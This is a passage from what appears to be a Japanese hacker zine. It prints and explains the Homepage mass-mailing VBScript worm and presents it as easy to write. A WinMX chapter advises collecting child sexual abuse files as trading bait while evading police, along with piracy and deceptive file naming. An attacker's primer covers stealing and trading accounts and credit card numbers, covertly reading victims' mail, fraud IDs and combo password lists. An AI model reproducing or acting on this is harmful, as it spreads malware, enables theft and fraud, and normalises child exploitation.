oWorld!"という文字列が表示されたら成功です。 ■0x04.) ファイル操作  では次はファイルに"HelloWorld!"という文字列を書き込むプログラムを書きま す。これを実行すると実行時にダイアログが出る場合がありますが気にせずOKを クリックしてください。あとVBScriptは拡張子が".html"では無く".vbs"でも動作 します。これはJavaScriptの".js"と同じですね。その場合はscriptタグ( -----  Dimというのはずばり変数定義です。VBScriptは変数定義はしなくとも問題無い のですが、一応書いておいたほうがいいでしょう。次のCreateObjectは決まりご とと考えてかまいません。ファイル操作をする場合に必要な一行です。そして、 fso.OpenTextFileでいよいよファイルを作成しております。これは"c:\testfile .txt"というファイルを開くよ(この場合は作るという意味)ということです。さら にf.Writeで実際の書き込みを行っています。OpenTextFileの二つ目の引数は 読み込み = 1、書き込み = 2、追加書込 = 8 となります。三つ目の引数はファイルが存在しない場合に新しくファイルを作る かどうかというもので True = 作る、False = 作らない ということです。  あと ' ファイルを生成するすくりぷと はずばりコメントです。 ■0x05.) 関数とサブルーチン  次は関数とサブルーチンのサンプルです。 ----- -----  Sub a(s)...End Sub は戻り値を返しません。逆にFunction b(s)...End Function は戻り値を返します。戻り値を返さない関数をサブルーチンと呼び、戻り値を返 す関数を(変な言い方ですが)関数と呼ぶようです。Cに慣れてる人にとってはど っちも関数だろと思ってしまいますが...別にFunctionを使用して戻り値を受け取 らないということも可能ですしね。あとdocument.writeは','や'&'を使うことに よって文字列を連結することができます。これを利用して変数の値を表示させて います。a(10), b(15)によって関数とサブルーチンを呼んでいます。 ■0x06.) 条件分岐 ----- -----  プログラム言語ならお馴染みの条件分岐です。VBScriptはIf文を If...then ---処理--- Else ---処理--- End If という文法で書きます。  そして、For文は For...to... ---処理--- Next という文法で書きます。  他にも様々な条件分岐(whileなど)がありますが主に使われるのはこの2つのよ うです。 ■0x07.) レジストリ  レジストリを弄るプログラムです。 ----- ----  短いな...(笑  一行目はレジストリを書き換えるためのおまじないと思って問題ないかと。て か私もよくわからん(^^;次はいよいよレジストリを書き換えてます。HKCUはHKEY_ CURRENT_USERの短縮形です。実際実行してみて、"regedit.exe"で見てみると"HKE Y_CURRENT_USER\software\test\test"が作られそのデータが 1 になっているはず です。"regedit.exe"って何?という方は「ファイルの検索」で"regedit"で検索 してみてください。レジストリはこのままでも特に問題ないと思いますが一応"HK CU\software\test\test"は削除しといたほうがいいでしょう。 ■0x08.) Homepageウイルス解読  ではいよいよウイルス解読に行きたいと思います。Homepageウイルスについて の詳細は検索エンジンで調べてください。  ソースコードは↓にアップしました。 http://kenjinet.s26.xrea.com/homepage.txt  ここからはソースコードと照らし合わせて読んでください。  まずは最初の3行です。説明のために以下すべてのソースコードに行番号を書き 加えます。 1: On Error Resume Next 2: Set WS = CreateObject("WScript.Shell") 3: Set FSO = Createobject("scripting.filesystemobject")  まず、1行目はOn Errorステートメントです。これを書いておかないとエラーが 発生した場合にその場所で処理が中断してしまいます。が、書いておくとエラー が発生しても発生した行の次の行から処理を再開するらしいです。保険みたいな ものでしょうか。理由は分かりませんがVBSウイルスにはだいたい最初にこの記述 があります。次の2,3行目はレジストリ操作とファイル操作を可能にするものでし たね。では次にいきます。 4: Folder = FSO.GetSpecialFolder(2)  これはtempフォルダへのパスを取得しています。GetSpecialFolder関数は引数 が(0)ならwindowsフォルダ、(1)ならsystemフォルダ、(2)ならtempフォルダのパ スをそれぞれ戻り値として返します。 6: Set InF = FSO.OpenTextFile(WScript.ScriptFullname,1) 7: Do While InF.AtEndOfStream<>True 8: ScriptBuffer = ScriptBuffer&InF.ReadLine&vbcrlf 9: Loop  WScript.ScriptFullnameとは自分自身のファイルを指します。二つ目の引数は 1 なので読み取り専用で開く。InF.ReadLineは一行読み込みでvbcrlfは改行です。 つまりこのファイルを読み込んでwhile..loopでScriptBufferへ格納していくとい う処理です。 11: Set OutF=FSO.OpenTextFile(Folder&"\homepage.HTML.vbs",2,true) 12: OutF.write ScriptBuffer 13: OutF.close  11:のFolderは4:で取得したtempフォルダへのパスですね。そこに"homepage.HT ML.vbs"というファイルを作っています。さらに12:でScriptBufferを書き込んで ます。つまりは6:から13:まででウイルス自身をtempフォルダ以下にコピーしたこ とになります。 16: If WS.regread ("HKCU\software\An\mailed") <> "1" then 17: Mailit() 18: End If  regreadはレジストリの読み込みです。("HKCU\software\An\mailed" != 1)なら ば17:を実行することになります。もちろん最初にこのプログラム(ウイルス)が 実行された場合 1 なわけが無いので(というか"HKCU\software\An\mailed"自体無 いので)Mailit()が実行されることになります。ではMailit()に飛びます。 48: Function Mailit() 49: On Error Resume Next 50: Set Outlook = CreateObject("Outlook.Application") 51: If Outlook = "Outlook" Then 52: Set Mapi=Outlook.GetNameSpace("MAPI")  ここでOutlookを起動しています。MAPIとはOutlookを外部から制御するAPIでも しOutlookが存在すればそれを使いますよ。ということでしょう。 53: Set Lists=Mapi.AddressLists  住所録を取得します。 54: For Each ListIndex In Lists  リストの一番初めから終わりまでをForで回す。 55: If ListIndex.AddressEntries.Count <> 0 Then 56: ContactCount = ListIndex.AddressEntries.Count 57: For Count= 1 To ContactCount 58: Set Mail = Outlook.CreateItem(0) 59: Set Contact = ListIndex.AddressEntries(Count)  56:は登録されているメールアドレスの数を取得しているのだろうと思います。 58:はメールの作成を行う処理です。最後の59:AddressEntriesでメールアドレス をゲットします。 60: Mail.To = Contact.Address 61: Mail.Subject = "Homepage" 62: Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see this page! It's really cool ;O)"&vbcrlf&vbcrlf  Mail.Toは送り先のアドレス。Mail.SubjectはSubject。Bodyは本文です。つまり ------------------------------------------------- Subject: Homepage Hi! You've got to see this page! It's really cool ;O) ------------------------------------------------- というようなメールが送られることでしょう。もちろん添付ファイル(ウイルス) もつけられます。 65: Set Attachment=Mail.Attachments 66: Attachment.Add Folder & "\homepage.HTML.vbs" 67: Mail.DeleteAfterSubmit = True 68: If Mail.To <> "" Then 69: Mail.Send  65:66:で添付ファイルを設定しています。この添付ファイルは以前tempフォル ダ以下にコピーしたファイルですね。67:は送信した後にこのメール自体を削除す るという命令でしょう。いやはや徹底してますね。そして68:で送信先アドレスが 記入されてるかを確認し、69:で送信しています。 70: WS.regwrite "HKCU\software\An\mailed", "1" 71: End If 72: Next 73: End If 74: Next 75: End if 76: End Function  70:でレジストリを書き換えてます。つまり二度目にこのプログラムが実行され るときはもうメールを送信(ばら撒く?)しなくてもいいですよ。ということで しょう。なかなか良心的なウイルスです。(ぉぃ  Mailit()全体の処理は登録されているメールアドレスすべてにウイルスメール を送信するということです。ここは結構お決まりなパターンでどのVBSウイルスに もついてる機能です(笑  ではまた関数の呼び出し元に戻りましょう。 20: Set s=CreateObject("Outlook.Application") 21: Set t=s.GetNameSpace("MAPI") 22: Set u=t.GetDefaultFolder(6)  GetDefaultFolderは引数0 予定表、1 受信トレイ、2 送信トレイ、3 送信済み アイテム、4 削除済みアイテム、5 連絡先、6 履歴、7 メモ、8 タスク、ですの で、履歴フォルダを取得ですね。 23: For i=1 to u.items.count 24: If u.Items.Item(i).subject="Homepage" Then 25: u.Items.Item(i).close 26: u.Items.Item(i).delete 27: End If 28: Next  履歴フォルダの中にあるメールでsubject="Homepage"なものは削除するという 処理です。 29: Set u=t.GetDefaultFolder(3) 30: For i=1 to u.items.count 31: If u.Items.Item(i).subject="Homepage" Then 32: u.Items.Item(i).delete 33: End If 34: Next  送信済みアイテムの中でも同じことをやっています。送信済みアイテムの中に あるメールでsubject="Homepage"なものは削除するという処理です。 36: Randomize 37: r=Int((4*Rnd)+1) 38: If r=1 then 39: WS.Run("http://hardcore.pornbillboard.net/shannon/1.htm") 40: elseif r=2 Then 41: WS.Run("http://members.nbci.com/_XMCM/prinzje/1.htm") 42: elseif r=3 Then 43: WS.Run("http://www2.sexcropolis.com/amateur/sheila/1.htm") 44: ElseIf r=4 Then 45: WS.Run("http://sheila.issexy.tv/1.htm") 46: End If  いよいよ最後です。Rndは0〜1までのランダムな値を持ちます。Intは引数の小 数点以下を省いた数を返します。よって変数'r'には1〜4までのどれかの数が入る ことになります。WS.Run("http://test.com")というのはIEを起動して http://test.comにアクセスするということです。つまりプログラムの最後に1/4 の確率でどれか一つのサイトを閲覧させるということです。はっきりいって意味 ないですが、アドレスがどことなくアダルトサイトっぽいのでウイルスに感染さ せてしまったお詫びにということでしょうか。まぁちゃんとしたお詫びになって るかどうかは別として。 ■0x09.) 最後に  いかがだったでしょう。ウイルスが特に大したスキルを駆使しなくとも作れる ことが分かってもらえたら幸いです。しかしもちろんコンピュータウイルスとい っても多種多様ですから理解するのが困難なものもたくさんあります。あくまで Homepageは数あるウイルスの中の一つに過ぎません。  私自身VBScriptを勉強するきっかけがLoveletterウイルスでした。VBの経験が 少しあったのでLoveletterのソースを見たとき「あれ?もしかしたら読めるかも」 とおもったのが始まりでした。VBScriptそのものはあまり詳しくないためもしか したら結構間違ってる箇所があるかもしれないです。そのときはごめんなさい(^^;  では、また会う日まで... x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第8章:WinMX Tips 3 --- 著者:黒猫 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  この連載も3回目を迎えました。読者のみなさま、IPUSIRONさんには厚く御礼申 し上げます。  さて、始めましょう。 ■0x02.) 交換の元手は100円ショップで購入しよう  先日、100円ショップのCDの棚でAVを見かけました(但し200円)。20タイトル ありましたので、4000+消費税で購入し、適切な題名をつけると交換の元手の足し になるかも知れません。  しかし、今方法を実行するには難があります。  ほとんどのMXユーザは無修正の動画を望んでいると思いますが、100円ショップ のAVには修正がかけられているでしょう。そこで「AV(無修正)***.mpg」という 題名をつければよいのですが、短期間のうちに「AV(無修正ってあるけどウソ) ***.mpg」として流通してしまうでしょう。さらに「ウソつき極悪人」として2ちゃ んねるに晒されてしまう可能性もあります。スクリーンネームやIP等を変えれば済 むことではありますが、MXユーザは交換相手を特定するのに「参照による共有内容 の確認」「自動返信IMの文面」等、「変えにくいか、滅多に変えないものを使う」 ことがあります。「定期的に全AVのタイトルを変更する」「返信IM内容の編集」等 で対処できますが、どんどん手間が増えていきます。  さらに「MX_Tips2」の3:落としてはいけないファイル「センセーショナルな題 名のアダルトビデオ」で紹介した「同一ファイル検索」を使われると打つ手があ りません。  そこで、手持ちの無修正AVには「AV(無修正)***.mpg」、100円ショップのAV には「AV***.mpg」としておきましょう。「無修正と書いていない限り修正あり」 というローカルルールを作ることにするのです。これならば特に問題はないでし ょう(注1)。  「騙し騙され」「騙された(カモられた)方が悪い」世界ですから。 ■0x03.) ダブリファイル落とし対策の簡単な方法を使ってみよう  以前紹介した「同一ファイル検索」より簡単な方法を思いつきました。  「自分の共有を確認」したあとも「自分の共有参照」を開いたままにしておき ます。すると、自分も持っているファイルにQを入れた時点で「自分の共有参照」 の中のどれかの色が変わりますので、「同一ファイル検索」を使うよりラクです (注2)。こうなってくると、もはやファイル名は「目安」です。しかし、そう考 えた方が逆に「カモられなかったらラッキー」程度に感じられ、P2Pソフト使用時 につきまとう様々なストレスを軽減できます。  もっと進むと「ファイルは利用することに価値がある」ではなく「交換するこ とから価値が生まれる」と考えるようになり、「モースの贈与論」まで行き着き ます。つまり、もう「使う以外は本物を落とす必要はないんじゃないか」という ことで、結局ファイルを集めまくったあげくに一周して元に戻るわけです(笑)。  P2Pソフトのヘビーユーザの方々、一考に値すると思いますが、いかがでしょう か? ■0x04.) 無修正AVとペドフィリアファイルは共有から外そう  小生も、小生より詳しい方からお聞きしたのですが、MXユーザを法的に追いつ める場合は「無修正AV等の共有によるわいせつ罪」を適用するそうです。なぜな らば、アプリ・自分で翻訳した字幕 等著作権のあるものは、被害者であるソフト ハウス・翻訳者 等が特定のMXユーザを訴えない限り罪を問えない、いわば「親告 罪」であるのに対して、わいせつ罪は警察の独断で逮捕できるからです。そこで、 無修正ファイル・ペドフィリアファイル等を充分に集めた時点で(注3)共有から 外してしまいましょう。  特に、ペドフィリアファイルは日本の警察だけでなく、ICPOまで動き出す可能 性もあります。ペドフィリアファイルは日本以外のたくさんの国では「スナッフ ファイル」扱いなのです。ICPOが動き出す危険性は充分に考慮する値があります。 小生はICPOなどという言葉はルパン三世以外では聞きたくありません。もうエサ として充分に働いてもらったので外してあります(注4)。 ■0x05.) 英語副題を付けてみよう  小生はたまに英語のIMを頂きますが、それは小生が洋楽・クラシック・AVに限 り英語題名を副題にしているからでしょう。中には非常にマニアックな方もおら れ、イタリアから「モー娘。のPV」「タイムボカン全話」という希望もあったそ うです。小生の友人はそのような方からIMを頂き、MSNチャットに切り替えてから 英語で会話し、ファイル送信をしたことがあるそうです。そのときのログを見せ て頂くと「外国ではMXはファイル提示にのみ使い、ファイル交換はICQで行うのが 一般的」のようです。  この方法の利点は ・相手と充分会話して信用できる相手かどうか自分で判定できる ・1度交換した相手を捜す手間が省ける ・ICQならレジューム機能がついているので不慮の切断の際にも安心 ・同好の士と徹底的に会話できる ・同好の士だけの小さなグループを作ることができる 等が考えられます。 ■0x06.) Web割れ時代の回想  小生はP2Pソフトが出現する以前からWebで割れ物を扱ってきました。  なお、小生は基本的にえっちです(笑)。このような話を好まない方はお読み頂 かない方がよろしいと思います。  「日本のアダルトJPG」から「マスク外しパズル」にはまっていました。しかし、 「パズル解き」に満足した段階で「海外の無修正JPG」を集め始めました。自然と 「隠しページ探し」「広告消し」「ディレクトリ削り」「ReGet連番DL」などを覚 えました。  そのころ「えっちなゲームが入手可能」と聞きつけ、Web割れに入っていったの です。その時点で「隠しページ探し」「連番DL」はそのまま役立ち「ファイル偽 装解き」が「モザイク外し」に役立ち、あとは「解凍(アーカイバの種類・見分 け方)」「連結」を覚えればよかったのです。 1:ページを探す(隠しページ、移転先探しも含む) 2:そこのローカルルールを把握するまでROM  ここからはF-1レースです。 3:リストDL 4:リスト偽装解き 5:全ファイルDL 6:結合 7:起動確認 8:起動確認報告とお礼を書き込む  3〜8をできるだけ速く、どのひとつのファイルもデリを喰らう前に行うのです。 時間との勝負のスリリングなゲームでした。そのうちに「起動確認報告第1位」を 取ることできるようになりました。これは最高の快楽です。  また、そのころは「UP職人のお薦め」しかアップされていなかったし、掲示板 や注意書き等で「このような方にお勧め」という情報交換もなされクソゲーは自 然淘汰されていきます。「自分で買ってみてクソゲーだった(えろげに限らずア プリ等も)」を回避できるのです。  ちょっと手間ですが、楽しくもあり質の良いゲームも手にはいるという2重の喜 びを満喫していた時期でした…。  好評であれば、次回に続きを書こうと思います。 ■0x07.) まとめ 1:・100円ショップで共有のエサを購入できる ・ファイル名には慎重になる 2:・自分の共有参照を常時開いておき「自分の持っているファイル」とQを照ら し合わせる ・交換から価値が発生すると考えることもできる 3:・共有するファイルの種類は塾考しておく ・自分の身は自分で守る 4:・ファイルに英語副題を付ける ・同好の士を捜す ■0x08.) 注釈 注1:小生はMXを始めて数ヶ月ほどでこのローカルルールに気付きましたが、たま に無修正と書いていないAVにQが入ることがあり、知らないMXユーザもいるのかも 知れません。 注2:ただし、これは「ダブリファイル落とし対策」であり「ニセファイル探し」 には使えません。 注3:ご自分で楽しむ以外にも「交換用エサ」として強力なので、集める価値はあ ります。 注4:小生が読んだ本の中で最悪のものは「スナッフムービー追跡」という(セミ) ドキュメントです。どこからか調達してきた少女を強姦して殺す場面を撮影した映 画上映会に潜入した際に『少女が強姦され殺害されるシーンになるとチャックの音 が聞こえ自慰行為の雰囲気があちこちから伝わってきた』という描写で本を放り出 しました。ここから先は「フィルムで満足できず、実演ショーを開催」「見知らぬ 少女では満足できず調達する少女を指定」「顔見知りでは満足できず、自分の娘を …」うわああああ、想像したくない。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第9章:アタッカーのためのアカウント入門 --- 著者:IPUSIRON x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  今回は、アカウントの基礎的な概念から学び、経験で得られる各アカウントの 価値を解説したいと思います。  読むに当たり注意してもらいたいことがあります。それは、アカウントという 言葉の使い分けです。ここではアカウントとは、アカウントIDとパスワードのセ ットになっているものを指すことにします。 ■0x02.) アカウントの分類  簡単にアカウントと言えども、様々なアカウントがあります。  思いつくものをざっと列挙すると次のようになります。他にもありますが、メ ジャーなものはこのぐらいだと思います。分類といっても、共通部分が空集合で はなく、アカウントによっては重複しているものもあります。例えば、Joeアカウ ントかつゲストアカウント、FTPアカウントかつシェルアカウントなどといった具 合です。 ・インターネット接続アカウント(ダイヤルアップアカウント、PPPoEアカウント) ・メールアカウント(POPアカウント、Webメールアカウント) ・FTPアカウント ・シェルアカウント ・ゲストアカウント ・ユーザーアカウント ・管理者アカウント(root,Administratorユーザー) ・バックドアアカウント ・著名アカウント ・Joeアカウント ・ベンダアカウント(デフォルトアカウント) ・サービスアカウント ●インターネット接続アカウント  インターネットに接続するために使用するアカウントです。ダイヤルアップア カウント、PPPoEアカウントなどがあります。  昔はインターネットに接続するための費用が高かったので、それなりの需要も ありましたが、今は昔ほど需要はありません。とはいえ、他人のインターネット 接続アカウントを使用することができれば、少なからず匿名化はできるので、そ れなりの価値はあります。また、プロバイダによりますが、POPアカウントもセッ トになっていることも多々あります。 ●メールアカウント  メール用のアカウントです。通常、POPアカウント、Webメールアカウントに大 別されます。前者はメーラーでPOPサーバーにアクセスしてメールを受信するタイ プ、後者はブラウザでHTTP経由でログインして送受信の操作を行うタイプです。 これらPOPアカウントとWebメールアカウントについて、アタッカーからの立場で の価値は後述しています。  メールアカウントを乗っ取ることができれば、乗っ取った相手のメールを盗み 見ることができます。ちなみに、管理者アカウントさえあれば、そのサーバーを 使っている全員のメールを盗み見ることも可能です。 ●FTPアカウント  FTPサービスを利用できる(ユーザー)アカウントです。ファイルをアップロー ドしたり、ダウンロードしたりできます。Webサイト公開用にレンタルサーバーを 借りると、FTPアカウントがもらえます。 ●シェルアカウント  UNIXのシェルを操作できる権限を持つアカウントです。  大学のUNIXサーバー、企業のUNIXサーバー、個人宅のUNIXサーバーを突破する と、得ることができます。よって、ターゲットがUNIXサーバーで、FTPアカウント あるいはPOPアカウントを奪取したと同時に、シェルアカウントも奪取できること もあります。  シェルアカウントがあれば、そのサーバーを踏み台にして他のサーバーをアタ ックすることもできます。 ●ゲストアカウント  ゲストアカウントは、通常使用されず限られた短い期間だけシステムへのアク セスを許された人物のために使用されるアカウントです。一時的に使われるため に作成されるアカウントなので、アカウントIDがguest、パスワードがguestとい った簡単なパスワードに設定されることが多々あります。さらに、ゲストアカウ ントが削除されず放置されたままになっているサーバーも存在します。大抵その ようなサーバーは他の弱点も抱えていることが多いので、アタックの足掛かりと して利用しやすいです。 ●ユーザーアカウント  ユーザー権限のアカウントのことです。例えば、FTPアカウント、メールアカウ ント、MMORPGのアカウントも一種のユーザーアカウントです。  アタッカーにとって、ユーザーアカウントを奪取したら、次にユーザーアカウ ントの上の管理者アカウントを乗っ取ることが目標になります。  サービスを受けているユーザーや内部のユーザーは、すでにユーザーアカウン トを持っているので、アタックしやすいです。海外のレンタルサーバーによって は、月数十ドルでシェルやPOPのユーザーアカウントを提供しているところもある ので、そういうところを悪用するという手口もあります。 ●管理者アカウント  管理者権限のアカウントのことです。UNIXの管理者権限のユーザーはroot、Win dows(NT/2000/XP)の管理者権限のユーザーはAdministratorです。  ターゲットの管理者権限のアカウントさえ奪うことができれば、そのマシンは 乗っ取れたことになります。ただし、HTTP経由でパスワードファイルを閲覧し、 それのパスワードが判明したとしても、tcp wrapperなどでアクセス制限がかけら れていれば、アクセスできないので、そのマシンを奪ったとは言えません。  実際に、PHP Nukeの脆弱性を突いて、パスワードファイルを入手し、John the Ripperでrootのパスワードを解析して、いざアクセスしようとしたら外部からの アクセスが制限されていたということがあります。 ●バックドアアカウント  アタッカーが設置したトロイの木馬やバックドアにアクセスするためのアカウ ントです。  他人が設置したバックドアアカウントを拝借することができれば、罪をなすり つけることができます。 ●Joeアカウント  アカウントIDとパスワードが全く同じアカウントのことです。例えば、アカウ ントIDが「ipusiron」でパスワードも「ipusiron」と設定されたアカウントがそ うです。  Joeアカウントは、パスワードクラッカーを使いことなく、手動で簡単に突破さ れてしまいます。 ●ベンダアカウント  ベンダが用意するインストールプログラムは、幾つかのデフォルトのアカウン トをパスワードファイルに設定する場合があります。これはデフォルトアカウン トとも呼ばれます。特にルーターやファイアウォール製品といったハードウェア、 何らかのソフトウェアにデフォルトで設定されています。運用時にはデフォルト のパスワードを変更することが取扱説明書などに記載されていますが、一部の人 はそれを無視あるいは知らないでそのまま運営してしまうことがあります。ルー ターなどのデフォルトアカウントはインターネット上で公開されており、そのま まだと簡単なオンラインパスワードアタックで突破されてしまいます。 ●サービスアカウント  サービスアカウントとは、特別なプログラムをシェルとして登録したアカウン トです。これらのアカウントには通常パスワードが無く、例えば誰がログインし ているかを調べるwhoやプリンタキューの状態を表示するlpqなどで使われます。 ■0x03.) WebメールのアカウントとPOPメールのアカウントの比較  メールアカウントを奪取すると言っても、大きく分けてWebメールのアカウント とPOPメールのアカウントがあります。利用者にとっては同じメールという役目を 果たしますが、アタッカーからの観点から見ると性質が大きく異なります。  Webメールとは、サービス提供サイトにWebブラウザでアクセスし、そこで認証 してオンライン上でメールの作成・送信・受信を行います。一方、POPメールとは、 ユーザーがあらかじめOEやBecky!などのメーラーを用意して、ユーザー自身が各 設定をしてPCに受信してからメールを読んだりします。  この2つのタイプのメールについて、アタッカーから見た特徴を次に列挙した いと思います。 ●Webメールの特徴 ・放置されているWebメールアカウントも多い。多くの場合、フリーのWebメール になるわけなので、正規ユーザーが不用と思った場合、使用されないまま放置さ れる可能性が多いです。よって、POPメールのアカウントより、短命といえます (メールを覗くという意味であり、利用寿命とは異なります)。ただし、完全に 放置されたメールアカウントであれば、勝手に自分用として使えるというメリッ トもあります。 ・POPメールと異なり、受信メールを読める可能性が高いです。 ・利用ユーザーが意識的に削除しない限り、送信メールも覗けます。これはPOPメ ールの方では真似できない、大きなメリットです。 ・メールを閲覧すると開封アイコンになってしまいます。よって、新規受信メー ルを勝手に開いてしまうとターゲットにばれる可能性があります。一回正規ユー ザーが閲覧した後、即ち開封アイコンになったメールは覗いてもばれません。 ・匿名性を気にするならば、HTTP Proxyでアクセスすればよいので、踏み台サー バーも所有しなくてもよい。 ・ネットカフェにおいて、Sniffingをすることで、POPメールよりも比較的入手し やすいです。 ●POPメールの特徴 ・基本的にメール受信時にメールサーバーからメールを削除するように設定する 人が多いので、アタッカーはメールサーバーからメールを削除しないに設定して 常に1分おきぐらいの頻度で受信する必要があります。 ・そのメールアカウントを利用しているユーザーがメーラーにおいて、受信した メールを削除しないという設定、つまりメールサーバーから削除しないような設 定の場合、アタッカーにとって美味しいことになります。  なぜならば、アタッカーは常にメールアカウントを見張り自動受信しなくても よいからです。さらに、メールサーバーにメールが残っているということは、ア タッカーがメールアカウントを乗っ取る以前のメールに関しても読むことができ るということです。 ・生IPで受信するのが怖い場合、踏み台サーバー経由、Socks Proxyを利用するこ とになってしまいます。 ・POPメールアカウントのIDとパスワードが、FTPアカウント、シェルアカウント と同一の可能性も高いので、副産物が大きいです。 ・売買IRCにおいて、物々交換するとき、Webメールより高いレート扱いになりま す。 ・メールサーバーのAdministrator、rootアカウントさえ奪ってしまえば、多数の POPアカウントを奪えます。 ■0x04.) ある売買マーケットにおけるアカウントのレート  あくまでこのレートは私が知っている売買IRC(交換が主)のレートなので、他 の相場とは異なるかもしれません。よって、参考程度に見ておいてください。 ・ゲストアカウント10=ユーザーアカウント1(シェルアカウント) ・ユーザーアカウント10(シェルアカウント)=管理者アカウント1 ・クレジットカード番号20=管理者アカウント1 ・ユーザーアカウント20(メールアカウント)=ユーザーアカウント1(シェルア カウント)  メールアカウントはメールアドレスだけをさすのではなく、アカウントIPとパ スワードも含んでいることに注意してください。  交換あなたがルート権限を奪うようなスキルがなくても、何とかメールアカウ ントを200個入手できば、ルートアカウント1つと交換できるわけです。  このメールアカウントはWebメールのでも良いし、POPメールでも何でも良いわ けです。よって、別にハッキングして手に入れたものでなくても、自分が取得し た200個でもよいわけです。ただし、メアド取得ツールを使っても、同じホストの メールアドレスなので、そんなもの200個あっても嫌がられるので、うまく分散す れば水増しして誤魔化すしかないでしょう。もちろん、自分が取得した場合、そ のメアドを悪用されて何か問題が起きたとき、登録した貴方が先に疑われる可能 性が高いです。  他にもこの売買IRCでは脆弱ホストのリストやスキャン結果のリストなどもやり 取りされます。 ■0x06.) メールアカウントが無事かどうかを調べる  この項では、自分のメールアカウントが無事かどうかをチェックする簡単な方 法を紹介します。簡単だが有効なので多用しています(ここで書いて多くの人に 知られたら、意味がなくなってしまうのですが…)。  通常、アタッカーvsサーバー管理者という構図で攻防が繰り広げられますが、 時々アタッカーvsアタッカーという構図も起こり得ます。例えば、個人的に恨み を買ったり、コミュニティ同士の派閥争いなどがそうです。このような時は特に 自分たちのやり取りしている情報が無事かどうか不安でたまりません。こちらの 情報が相手に筒抜けだと行動が先読みされてしまい、必ず後手になってしまい不 利だからです。そこで使う手がこれです。 1:あらかじめ信頼できる人を直接または電話でコンタクトを取り、これから述 べることを合意させておく。電話は少なからず盗聴の可能性があるのでやはり、 直接がよい。 2:何らかの合図が含まれたメールは無視してもらうように相手に頼んでおきま す。例えば、メールの件名(サブジェクト)の末に「。」がついていれば無視と いうようにしておきます。 3:通常通りメールをやり取りしあいます。そのメールはステップ1で頼み込ん だ人以外とも、やりとりしておいて、普通にメールアカウントを使用します。 4:ある日、メールの件名に合図を含め、本文では脆弱なサーバーを手に入れた 風な文面を書きます。そこにはサーバーのIPアドレス、SSHやFTPのアカウント情 報を記述しておきます。 5:アタッカーがこのメールを不正に奪える状態にあるならば、これを読んで、 さっそく行動に移すと思われます。敵対するアタッカーは自分に有利な状態を作 るために、そのサーバーに侵入して、裏をかけるように何らかの仕掛けを仕込も うとします。 6:しかし、サーバーに侵入された時点でこちら側が優勢です。なぜならば、敵 対するアタッカーが侵入したサーバーは実はこちら側が用意したハニーポットだ からです。つまり、ハニーポットのログに侵入の痕跡があったならば、私たちの やり取りしたメールが誰かに読まれていたと即断できます。なぜならば、それ専 用に構築したわけですから。逆に何の痕跡がなければ、メールは不正に読まれて いないと判断でき、しばらくは安心して使用することができるでしょう。  こういうことを1週間に1回ぐらいやっておけば、メールの不正の被害を最小限 に食い止めることができると思います。 ■0x07.) オークションにおけるアカウントの実売価格  裏インターネット事件簿の「もっとも危険な裏商品“架空ID”とは?」 (http://www.jikenbo.net/jikenbo/docs/20030802-001.shtml)に、次のような 記述がありました。 ----- 最後のところの引用 2年ほど前にオークション詐欺を行っていたG氏は、この架空IDについて「当 時は1IDあたり1−2万円程度で手に入ったよ。一度にいくつも買って使いま わすんだよね。おれは不正モノの販売詐欺だったけど、けっこうもうかったよ」 とうそぶく。そのうえで、架空モノを使うことの“危険性”についても語ってく れた。「もしものことを考えて、5件くらい詐欺に使ったら、すぐ他人に転売す るんだ。架空モノは悪用後に転売されることも多いから、買ったIDをそのまま 使うと前ユーザーの余罪をカブったり、IDを乗っ取られたりすることがあるん だよ」。 -----  架空IDが1〜2万なんてぼったくりだと思います。売買IRCの方では交換が主で あまり現金(リアルマネー)でやり取りされませんが、それでも現金計算すると 架空ID、即ちWebの何らかのアカウントは日本円で数百円程度です。もちろん、数 百円程度でやり取りされないから、数十個まとめて1万円単位ぐらいでやりとり されます。  よって、あなたが架空IDやアカウントを購入したいと思っても、Yahooオークシ ョンで買うより、コネで誰かに頼み購入した方が安上がりだと思います。 ■0x08.) MMORPGのユーザーアカウント  管理者アカウントでさえ1万円にはなりませんが(依頼主がいたり、大企業の アカウントなら別)、値段が高額なアカウントもあります。それはMMORPGのアカ ウントです。私はリネージュしか本格的にやったことがないので(軽くならば色 々やったことがある)、他のゲームが分かりませんが、リネージュならば、高レ ベルキャラがあるアカウント1つで数万円になります(今は全体的に相場が下が っていますが)。おそらく他のMMORPGも同様でしょう。リネージュの場合、1つ のアカウントで3キャラまで育成できます。リネージュユーザーの中には1つだ けではなく、2,3つのアカウントを所有している人もいます。もちろん、1ア カウントで課金されるので、2アカウント持っていれば2倍の課金がかかります。  さらに、アタッカーにとってお得なのは、アカウントそのものの価値よりも、 そのアカウントのキャラが所有する装備品、アイテム、そしてお金などです。高 レベルキャラが持つ装備品やお金などを総合すると、数Mアデナ、つまりリアルマ ネーで数万円になります。ものすごい強いキャラの人のものならば、数十万円に もります。 ■0x09.) デフォルトアカウントとコンボファイル  ユーザーIDのリストとパスワードのリスト(つまり、普通の辞書ファイル)を 組み合わせて、パスワード解析を行うと膨大な数になってしまうことがあります。 そんな場合、ユーザーIDとパスワードの組合わせのリストを適度なサイズにした ファイルを作ればよいでしょう。このようなファイルをコンボファイルと呼びま す。  コンボファイル(combo.txt)は、次のように、ユーザーIDとパスワードがTAB またはスペースで区切られて、1行で1対応のリストになっています。 ----- root test root 